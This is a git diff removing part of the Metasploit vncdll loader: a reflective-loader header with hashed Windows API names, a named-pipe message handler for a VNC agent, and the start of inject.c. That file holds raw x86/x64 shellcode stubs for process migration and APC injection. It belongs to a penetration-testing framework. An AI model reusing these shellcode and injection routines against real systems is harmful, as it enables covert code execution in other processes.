-// with the distribution. -// -// * Neither the name of Harmony Security nor the names of its contributors may be used to -// endorse or promote products derived from this software without specific prior written permission. - // -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR -// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR -// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR -// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -// POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#ifndef _VNCDLL_LOADER_REFLECTIVELOADER_H -#define _VNCDLL_LOADER_REFLECTIVELOADER_H -//===============================================================================================// -#define WIN32_LEAN_AND_MEAN -#include -#include -#include - -#include "ReflectiveDLLInjection.h" - -#define EXITFUNC_SEH 0xEA320EFE -#define EXITFUNC_THREAD 0x0A2A1DE0 -#define EXITFUNC_PROCESS 0x56A2B5F0 - -typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); -typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); -typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD ); - -#define KERNEL32DLL_HASH 0x6A4ABC5B -#define LOADLIBRARYA_HASH 0xEC0E4E8E -#define GETPROCADDRESS_HASH 0x7C0DFCAA -#define VIRTUALALLOC_HASH 0x91AFCA54 - -#define HASH_KEY 13 -//===============================================================================================// -#pragma intrinsic( _rotr ) - -__forceinline DWORD ror( DWORD d ) -{ - return _rotr( d, HASH_KEY ); -} - - - -__forceinline DWORD hash( char * c ) -{ - register DWORD h = 0; - do - { - h = ror( h ); - h += *c; - } while( *++c ); - - return h; -} -//===============================================================================================// -typedef struct _UNICODE_STR -{ - USHORT Length; - USHORT MaximumLength; - PWSTR pBuffer; -} UNICODE_STR, *PUNICODE_STR; - -// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY -//__declspec( align(8) ) -typedef struct _LDR_DATA_TABLE_ENTRY -{ - //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. - LIST_ENTRY InMemoryOrderModuleList; - LIST_ENTRY InInitializationOrderModuleList; - PVOID DllBase; - PVOID EntryPoint; - ULONG SizeOfImage; - UNICODE_STR FullDllName; - UNICODE_STR BaseDllName; - ULONG Flags; - SHORT LoadCount; - SHORT TlsIndex; - LIST_ENTRY HashTableEntry; - ULONG TimeDateStamp; -} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; - -// WinDbg> dt -v ntdll!_PEB_LDR_DATA -typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes -{ - DWORD dwLength; - DWORD dwInitialized; - LPVOID lpSsHandle; - LIST_ENTRY InLoadOrderModuleList; - LIST_ENTRY InMemoryOrderModuleList; - LIST_ENTRY InInitializationOrderModuleList; - LPVOID lpEntryInProgress; -} PEB_LDR_DATA, * PPEB_LDR_DATA; - -// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK -typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes -{ - struct _PEB_FREE_BLOCK * pNext; - DWORD dwSize; -} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; - -// struct _PEB is defined in Winternl.h but it is incomplete -// WinDbg> dt -v ntdll!_PEB -typedef struct __PEB // 65 elements, 0x210 bytes -{ - BYTE bInheritedAddressSpace; - BYTE bReadImageFileExecOptions; - BYTE bBeingDebugged; - BYTE bSpareBool; - LPVOID lpMutant; - LPVOID lpImageBaseAddress; - PPEB_LDR_DATA pLdr; - LPVOID lpProcessParameters; - LPVOID lpSubSystemData; - LPVOID lpProcessHeap; - PRTL_CRITICAL_SECTION pFastPebLock; - LPVOID lpFastPebLockRoutine; - LPVOID lpFastPebUnlockRoutine; - DWORD dwEnvironmentUpdateCount; - LPVOID lpKernelCallbackTable; - DWORD dwSystemReserved; - DWORD dwAtlThunkSListPtr32; - PPEB_FREE_BLOCK pFreeList; - DWORD dwTlsExpansionCounter; - LPVOID lpTlsBitmap; - DWORD dwTlsBitmapBits[2]; - LPVOID lpReadOnlySharedMemoryBase; - LPVOID lpReadOnlySharedMemoryHeap; - LPVOID lpReadOnlyStaticServerData; - LPVOID lpAnsiCodePageData; - LPVOID lpOemCodePageData; - LPVOID lpUnicodeCaseTableData; - DWORD dwNumberOfProcessors; - DWORD dwNtGlobalFlag; - LARGE_INTEGER liCriticalSectionTimeout; - DWORD dwHeapSegmentReserve; - DWORD dwHeapSegmentCommit; - DWORD dwHeapDeCommitTotalFreeThreshold; - DWORD dwHeapDeCommitFreeBlockThreshold; - DWORD dwNumberOfHeaps; - DWORD dwMaximumNumberOfHeaps; - LPVOID lpProcessHeaps; - LPVOID lpGdiSharedHandleTable; - LPVOID lpProcessStarterHelper; - DWORD dwGdiDCAttributeList; - LPVOID lpLoaderLock; - DWORD dwOSMajorVersion; - DWORD dwOSMinorVersion; - WORD wOSBuildNumber; - WORD wOSCSDVersion; - DWORD dwOSPlatformId; - DWORD dwImageSubsystem; - DWORD dwImageSubsystemMajorVersion; - DWORD dwImageSubsystemMinorVersion; - DWORD dwImageProcessAffinityMask; - DWORD dwGdiHandleBuffer[34]; - LPVOID lpPostProcessInitRoutine; - LPVOID lpTlsExpansionBitmap; - DWORD dwTlsExpansionBitmapBits[32]; - DWORD dwSessionId; - ULARGE_INTEGER liAppCompatFlags; - ULARGE_INTEGER liAppCompatFlagsUser; - LPVOID lppShimData; - LPVOID lpAppCompatInfo; - UNICODE_STR usCSDVersion; - LPVOID lpActivationContextData; - LPVOID lpProcessAssemblyStorageMap; - LPVOID lpSystemDefaultActivationContextData; - LPVOID lpSystemAssemblyStorageMap; - DWORD dwMinimumStackCommit; -} _PEB, * _PPEB; - -typedef struct -{ - WORD offset:12; - WORD type:4; -} IMAGE_RELOC, *PIMAGE_RELOC; -//===============================================================================================// -#endif -//===============================================================================================// diff --git a/external/source/vncdll/loader/context.c b/external/source/vncdll/loader/context.c deleted file mode 100644 index e617aa0c15..0000000000 --- a/external/source/vncdll/loader/context.c +++ /dev/null @@ -1,273 +0,0 @@ -#include "loader.h" -#include "context.h" - -AGENT_CTX AgentContext = {0}; - -/* - * - */ -VOID context_init( VOID ) -{ - memset( &AgentContext, 0, sizeof(AGENT_CTX) ); - - AgentContext.bDisableCourtesyShell = FALSE; - AgentContext.bInit = TRUE; - AgentContext.hCloseEvent = NULL; - AgentContext.dwEncoding = 0; - AgentContext.dwCompressLevel = 6; - AgentContext.dwQualityLevel = -1; - AgentContext.bUseCopyRect = FALSE; - AgentContext.bEncodingRichCursor = FALSE; - AgentContext.bEncodingPointerPos = FALSE; - AgentContext.bEncodingLastRect = FALSE; - AgentContext.bEncodingNewfbSize = FALSE; - AgentContext.bEncodingXCursor = FALSE; - - /*AgentContext.dictionaries[0] = NULL; - AgentContext.dictionaries[1] = NULL; - AgentContext.dictionaries[2] = NULL; - AgentContext.dictionaries[3] = NULL;*/ - - AgentContext.dwPipeName = ( GetTickCount() ^ (DWORD)&AgentContext ); -} - -/* - * Try to read an exact ammount of data from a pipe and return - * when either the data has been read or a failure occurs. - */ -DWORD _readexact( HANDLE hPipe, DWORD dwLength, BYTE * pBuffer ) -{ - DWORD dwTotal = 0; - DWORD dwRead = 0; - - do - { - while( dwTotal < dwLength ) - { - if( !PeekNamedPipe( hPipe, NULL, 0, NULL, &dwRead, NULL ) ) - break; - - if( !dwRead ) - { - Sleep( 50 ); - continue; - } - - if( ReadFile( hPipe, (LPVOID)((LPBYTE)pBuffer + dwTotal), (dwLength - dwTotal), &dwRead, NULL ) ) - dwTotal += dwRead; - } - - } while( 0 ); - - return dwTotal; -} - -/* - * A thread to pick up any messages being posted back to the loader (such as an encoder change in the stream) - */ -DWORD WINAPI context_message_thread( LPVOID lpParameter ) -{ - DWORD dwResult = ERROR_SUCCESS; - HANDLE hServerPipe = NULL; - BYTE * pBuffer = NULL; - char cNamedPipe[MAX_PATH] = {0}; - - __try - { - do - { - _snprintf( cNamedPipe, MAX_PATH, "\\\\.\\pipe\\%08X", AgentContext.dwPipeName ); - - dprintf("[LOADER] loader_message_thread. cNamedPipe=%s", cNamedPipe ); - - hServerPipe = CreateNamedPipe( cNamedPipe, PIPE_ACCESS_INBOUND, PIPE_TYPE_BYTE|PIPE_READMODE_BYTE|PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0, 0, 0, NULL ); - if( !hServerPipe ) - BREAK_ON_ERROR( "[LOADER] loader_message_thread. CreateNamedPipe failed" ); - - while( TRUE ) - { - struct _hdr { - DWORD dwMessage; - DWORD dwLength; - } header = {0}; - DWORD dwTotal = 0; - - if( !ConnectNamedPipe( hServerPipe, NULL ) ) - { - if( GetLastError() != ERROR_PIPE_CONNECTED ) - continue; - } - - dwTotal = _readexact( hServerPipe, 8, (BYTE *)&header ); - if( dwTotal != sizeof( struct _hdr ) ) - BREAK_WITH_ERROR( "[LOADER] loader_message_thread. _readexact header failed", ERROR_INVALID_HANDLE ); - - pBuffer = (BYTE *)malloc( header.dwLength ); - if( !pBuffer ) - BREAK_WITH_ERROR( "[LOADER] loader_message_thread. pBuffer malloc failed", ERROR_INVALID_HANDLE ); - - dwTotal = _readexact( hServerPipe, header.dwLength, pBuffer ); - if( dwTotal != header.dwLength ) - BREAK_WITH_ERROR( "[LOADER] loader_message_thread. _readexact pBuffer failed", ERROR_INVALID_HANDLE ); - - DisconnectNamedPipe( hServerPipe ); - - switch( header.dwMessage ) - { - case MESSAGE_SETENCODING: - if( header.dwLength != sizeof(DWORD) ) - { - dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODING, not enought data (got %d bytes)", header.dwLength ); - break; - } - AgentContext.dwEncoding = *(DWORD *)pBuffer; - dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODING, new encoding is %d", AgentContext.dwEncoding ); - break; - case MESSAGE_SETPIXELFORMAT: - if( header.dwLength != sizeof(PIXELFORMAT) ) - { - dprintf("[LOADER] loader_message_thread. MESSAGE_SETPIXELFORMAT, not enought data (got %d bytes)", header.dwLength ); - break; - } - memcpy( &AgentContext.PixelFormat, pBuffer, sizeof(PIXELFORMAT) ); - dprintf("[LOADER] loader_message_thread. MESSAGE_SETPIXELFORMAT" ); - break; - case MESSAGE_SETCOMPRESSLEVEL: - if( header.dwLength != sizeof(DWORD) ) - { - dprintf("[LOADER] loader_message_thread. MESSAGE_SETCOMPRESSLEVEL, not enought data (got %d bytes)", header.dwLength ); - break; - } - AgentContext.dwCompressLevel = *(DWORD *)pBuffer; - dprintf("[LOADER] loader_message_thread. MESSAGE_SETCOMPRESSLEVEL, new compress level is %d", AgentContext.dwCompressLevel ); - break; - case MESSAGE_SETQUALITYLEVEL: - if( header.dwLength != sizeof(DWORD) ) - { - dprintf("[LOADER] loader_message_thread. MESSAGE_SETQUALITYLEVEL, not enought data (got %d bytes)", header.dwLength ); - break; - } - AgentContext.dwQualityLevel = *(DWORD *)pBuffer; - dprintf("[LOADER] loader_message_thread. MESSAGE_SETQUALITYLEVEL, new quality level is %d", AgentContext.dwQualityLevel ); - break; - case MESSAGE_SETCOPYRECTUSE: - if( header.dwLength != sizeof(BOOL) ) - { - dprintf("[LOADER] loader_message_thread. MESSAGE_SETCOPYRECTUSE, not enought data (got %d bytes)", header.dwLength ); - break; - } - AgentContext.bUseCopyRect = *(BOOL *)pBuffer; - dprintf("[LOADER] loader_message_thread. MESSAGE_SETCOPYRECTUSE, new bUseCopyRect is %d", AgentContext.bUseCopyRect ); - break; - case MESSAGE_SETENCODINGRICHCURSOR: - if( header.dwLength != sizeof(BOOL) ) - { - dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGRICHCURSOR, not enought data (got %d bytes)", header.dwLength ); - break; - } - AgentContext.bEncodingRichCursor = *(BOOL *)pBuffer; - dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGRICHCURSOR, new dwEncodingRichCursor is %d", AgentContext.bEncodingRichCursor ); - break; - case MESSAGE_SETENCODINGPOINTERPOS: - if( header.dwLength != sizeof(BOOL) ) - { - dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGPOINTERPOS, not enought data (got %d bytes)", header.dwLength ); - break; - } - AgentContext.bEncodingPointerPos = *(BOOL *)pBuffer; - dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGPOINTERPOS, new dwEncodingPointerPos is %d", AgentContext.bEncodingPointerPos ); - break; - case MESSAGE_SETENCODINGLASTRECT: - if( header.dwLength != sizeof(BOOL) ) - { - dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGLASTRECT, not enought data (got %d bytes)", header.dwLength ); - break; - } - AgentContext.bEncodingLastRect = *(BOOL *)pBuffer; - dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGLASTRECT, new dwEncodingLastRect is %d", AgentContext.bEncodingLastRect ); - break; - case MESSAGE_SETENCODINGNEWFBSIZE: - if( header.dwLength != sizeof(BOOL) ) - { - dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGNEWFBSIZE, not enought data (got %d bytes)", header.dwLength ); - break; - } - AgentContext.bEncodingNewfbSize = *(BOOL *)pBuffer; - dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGNEWFBSIZE, new bEncodingNewfbSize is %d", AgentContext.bEncodingNewfbSize ); - break; - case MESSAGE_SETENCODINGXCURSOR: - if( header.dwLength != sizeof(BOOL) ) - { - dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGXCURSOR, not enought data (got %d bytes)", header.dwLength ); - break; - } - AgentContext.bEncodingXCursor = *(BOOL *)pBuffer; - dprintf("[LOADER] loader_message_thread. MESSAGE_SETENCODINGXCURSOR, new bEncodingXCursor is %d", AgentContext.bEncodingXCursor ); - break; - /* - case MESSAGE_SETZLIBDICTIONARY: - if( header.dwLength < sizeof(DICTMSG) ) - { - dprintf("[LOADER] loader_message_thread. MESSAGE_SETZLIBDICTIONARY, not enought data (got %d bytes)", header.dwLength ); - break; - } - else - { - DICTMSG * dmsg = (DICTMSG *)pBuffer; - if( dmsg->dwId > 4 ) - { - dprintf("[LOADER] loader_message_thread. MESSAGE_SETZLIBDICTIONARY, invalid id (got %d)", dmsg->dwId ); - break; - } - - if( AgentContext.dictionaries[dmsg->dwId] ) - free( AgentContext.dictionaries[dmsg->dwId] ); - - AgentContext.dictionaries[dmsg->dwId] = (DICTMSG *)malloc( sizeof(DICTMSG) + dmsg->dwDictLength ); - if( !AgentContext.dictionaries[dmsg->dwId] ) - { - dprintf("[LOADER] loader_message_thread. MESSAGE_SETZLIBDICTIONARY, malloc failed" ); - break; - } - - AgentContext.dictionaries[dmsg->dwId]->dwId = dmsg->dwId; - AgentContext.dictionaries[dmsg->dwId]->dwDictLength = dmsg->dwDictLength; - - memcpy( &AgentContext.dictionaries[dmsg->dwId]->bDictBuffer, &dmsg->bDictBuffer, dmsg->dwDictLength ); - - dprintf("[LOADER] loader_message_thread. MESSAGE_SETZLIBDICTIONARY, id=%d, length=%d", dmsg->dwId, dmsg->dwDictLength ); - } - break; - */ - default: - dprintf("[LOADER] loader_message_thread. Unknown message 0x%08X", header.dwMessage ); - break; - } - - if( pBuffer ) - { - free( pBuffer ); - pBuffer = NULL; - } - } - - } while( 0 ); - } - __except( EXCEPTION_EXECUTE_HANDLER ) - { - dprintf( "[LOADER] loader_message_thread. EXCEPTION_EXECUTE_HANDLER\n\n" ); - } - - dprintf("[LOADER] loader_message_thread. thread finishing..."); - - if( hServerPipe ) - { - DisconnectNamedPipe( hServerPipe ); - CLOSE_HANDLE( hServerPipe ); - } - - if( pBuffer ) - free( pBuffer ); - - return dwResult; -} diff --git a/external/source/vncdll/loader/context.h b/external/source/vncdll/loader/context.h deleted file mode 100644 index 1f062cfd1f..0000000000 --- a/external/source/vncdll/loader/context.h +++ /dev/null @@ -1,108 +0,0 @@ -// Copyright (C) 2006-2010, Rapid7 LLC -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, -// are permitted provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, -// this list of conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, -// this list of conditions and the following disclaimer in the documentation -// and/or other materials provided with the distribution. -// -// * Neither the name of Rapid7 LLC nor the names of its contributors -// may be used to endorse or promote products derived from this software -// without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON -// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#ifndef _VNCDLL_LOADER_CONTEXT_H -#define _VNCDLL_LOADER_CONTEXT_H -//===============================================================================================// - -typedef struct _PIXELFORMAT -{ - BYTE bpp; - BYTE depth; - BYTE bigendian; - BYTE truecolour; - WORD redmax; - WORD greenmax; - WORD bluemax; - BYTE redshift; - BYTE greenshift; - BYTE blueshift; - BYTE pad1; - WORD pad2; -} PIXELFORMAT; - -/*typedef struct _DICTMSG -{ - DWORD dwId; - DWORD dwDictLength; - BYTE bDictBuffer[1]; -} DICTMSG;*/ - -/* - * The context used for the agent to keep the vnc stream back to the client consistent during session switching. - */ -typedef struct _AGENT_CTX -{ - // The WSAPROTOCOL_INFO structure for the socket back to the client. - WSAPROTOCOL_INFO info; - // Flag to disable the creation of a courtesy shell on the input desktop. - BOOL bDisableCourtesyShell; - // The event to terminate the vnc agent. - HANDLE hCloseEvent; - // A flag to force only the first agent instance to perform the RFB initilization. - BOOL bInit; - // The encoding used by the last agent, we can then force the next agent to keep using - // the last known encoding in order to keep the remote client's RFB stream consistent. - DWORD dwEncoding; - // A hex value used for the loaders pipe server - DWORD dwPipeName; - // The rfb streams current pixel format. - PIXELFORMAT PixelFormat; - // Various settings for the rfb stream. - DWORD dwCompressLevel; - DWORD dwQualityLevel; - BOOL bUseCopyRect; - BOOL bEncodingRichCursor; - BOOL bEncodingPointerPos; - BOOL bEncodingLastRect; - BOOL bEncodingNewfbSize; - BOOL bEncodingXCursor; - //DICTMSG * dictionaries[4]; -} AGENT_CTX, * LPAGENT_CTX; - -#define MESSAGE_SETENCODING 0x28471649 -#define MESSAGE_SETPIXELFORMAT 0x92785926 -#define MESSAGE_SETCOMPRESSLEVEL 0x82658926 -#define MESSAGE_SETQUALITYLEVEL 0x31857295 -#define MESSAGE_SETCOPYRECTUSE 0x91748275 -#define MESSAGE_SETENCODINGRICHCURSOR 0x39185037 -#define MESSAGE_SETENCODINGPOINTERPOS 0x47295620 -#define MESSAGE_SETENCODINGLASTRECT 0x11984659 -#define MESSAGE_SETENCODINGNEWFBSIZE 0x94856345 -#define MESSAGE_SETENCODINGXCURSOR 0x81659265 -#define MESSAGE_SETZLIBDICTIONARY 0x91601668 - -//===============================================================================================// - -VOID context_init( VOID ); - -DWORD WINAPI context_message_thread( LPVOID lpParameter ); - -//===============================================================================================// -#endif -//===============================================================================================// \ No newline at end of file diff --git a/external/source/vncdll/loader/inject.c b/external/source/vncdll/loader/inject.c deleted file mode 100644 index d0386434dc..0000000000 --- a/external/source/vncdll/loader/inject.c +++ /dev/null @@ -1,532 +0,0 @@ -#include "loader.h" -#include "ps.h" -#include "inject.h" -#include "LoadLibraryR.h" -#include - -// Simple trick to get the current meterpreters arch -#ifdef _WIN64 - DWORD dwMeterpreterArch = PROCESS_ARCH_X64; -#else - DWORD dwMeterpreterArch = PROCESS_ARCH_X86; -#endif - -// see '/msf3/external/source/shellcode/x86/migrate/executex64.asm' -BYTE migrate_executex64[] = "\x55\x89\xE5\x56\x57\x8B\x75\x08\x8B\x4D\x0C\xE8\x00\x00\x00\x00" - "\x58\x83\xC0\x25\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00" - "\x89\x02\xE8\x09\x00\x00\x00\x83\xC4\x14\x5F\x5E\x5D\xC2\x08\x00" - "\x8B\x3C\x24\xFF\x2A\x48\x31\xC0\x57\xFF\xD6\x5F\x50\xC7\x44\x24" - "\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C\x24"; - -// see '/msf3/external/source/shellcode/x64/migrate/remotethread.asm' -BYTE migrate_wownativex[] = "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00" - "\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48" - "\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A" - "\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9" - "\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C" - "\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00" - "\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40" - "\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6" - "\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0" - "\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40" - "\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0" - "\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58" - "\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A" - "\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x4D\x31\xC9\x41\x51\x48\x8D" - "\x46\x18\x50\xFF\x76\x10\xFF\x76\x08\x41\x51\x41\x51\x49\xB8\x01" - "\x00\x00\x00\x00\x00\x00\x00\x48\x31\xD2\x48\x8B\x0E\x41\xBA\xC8" - "\x38\xA4\x40\xFF\xD5\x48\x85\xC0\x74\x0C\x48\xB8\x00\x00\x00\x00" - "\x00\x00\x00\x00\xEB\x0A\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00" - "\x48\x83\xC4\x50\x48\x89\xFC\xC3"; - -// see '/msf3/external/source/shellcode/x86/migrate/apc.asm' -BYTE apc_stub_x86[] = "\xFC\x8B\x74\x24\x04\x55\x89\xE5\xE8\x89\x00\x00\x00\x60\x89\xE5" - "\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F" - "\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF" - "\x0D\x01\xC7\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B" - "\x40\x78\x85\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01" - "\xD3\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF" - "\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58" - "\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04" - "\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58" - "\x5F\x5A\x8B\x12\xEB\x86\x5B\x80\x7E\x10\x00\x75\x3B\xC6\x46\x10" - "\x01\x68\xA6\x95\xBD\x9D\xFF\xD3\x3C\x06\x7C\x1A\x31\xC9\x64\x8B" - "\x41\x18\x39\x88\xA8\x01\x00\x00\x75\x0C\x8D\x93\xCF\x00\x00\x00" - "\x89\x90\xA8\x01\x00\x00\x31\xC9\x51\x51\xFF\x76\x08\xFF\x36\x51" - "\x51\x68\x38\x68\x0D\x16\xFF\xD3\xC9\xC2\x0C\x00\x00\x00\x00\x00" - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - "\x00\x00\x00\x00"; - -// see '/msf3/external/source/shellcode/x64/migrate/apc.asm' -BYTE apc_stub_x64[] = "\xFC\x80\x79\x10\x00\x0F\x85\x13\x01\x00\x00\xC6\x41\x10\x01\x48" - "\x83\xEC\x78\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48" - "\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48" - "\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C" - "\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED\x52\x41" - "\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78\x18\x0B" - "\x02\x75\x72\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01" - "\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF" - "\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41" - "\xC1\xC9\x0D\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45" - "\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C" - "\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41" - "\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20" - "\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF" - "\x5D\x48\x31\xD2\x65\x48\x8B\x42\x30\x48\x39\x90\xC8\x02\x00\x00" - "\x75\x0E\x48\x8D\x95\x07\x01\x00\x00\x48\x89\x90\xC8\x02\x00\x00" - "\x4C\x8B\x01\x4C\x8B\x49\x08\x48\x31\xC9\x48\x31\xD2\x51\x51\x41" - "\xBA\x38\x68\x0D\x16\xFF\xD5\x48\x81\xC4\xA8\x00\x00\x00\xC3\x00" - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - "\x00\x00\x00"; -#define MAXT 128 -/* - * Attempt to gain code execution in the remote process via a call to ntdll!NtQueueApcThread - * Note: Windows Server 2008R2 can blue screen if you use APC injection to inject into another sessions csrss.exe - */ -DWORD inject_via_apcthread( HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter ) -{ - DWORD dwResult = ERROR_ACCESS_DENIED; - HMODULE hNtdll = NULL; - NTQUEUEAPCTHREAD pNtQueueApcThread = NULL; - HANDLE hThreadSnap = NULL; - LPVOID lpApcStub = NULL; - LPVOID lpRemoteApcStub = NULL; - LPVOID lpRemoteApcContext = NULL; - HANDLE hThreadList[MAXT] = {0}; - THREADENTRY32 t = {0}; - APCCONTEXT ctx = {0}; - DWORD dwApcStubLength = 0; - DWORD dwListIndex = 0; - - do - { - ctx.s.lpStartAddress = lpStartAddress; - ctx.p.lpParameter = lpParameter; - ctx.bExecuted = FALSE; - - t.dwSize = sizeof( THREADENTRY32 ); - - // Get the architecture specific apc migration stub... - if( dwDestinationArch == PROCESS_ARCH_X86 ) - { - if( dwMeterpreterArch == PROCESS_ARCH_X64 ) - { - // injecting x64->x86(wow64) - - // Our injected APC ends up running in native x64 mode within the wow64 process and as such - // will need a modified stub to transition to wow64 before execuing the apc_stub_x86 stub. - - // This issue does not effect x64->x86 injection using the kernel32!CreateRemoteThread method though. - - SetLastError( ERROR_ACCESS_DENIED ); - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Can't do x64->x86 APC injection yet." ) - } - else - { - // injecting x86->x86 - lpApcStub = &apc_stub_x86; - dwApcStubLength = sizeof( apc_stub_x86 ); - } - } - else if( dwDestinationArch == 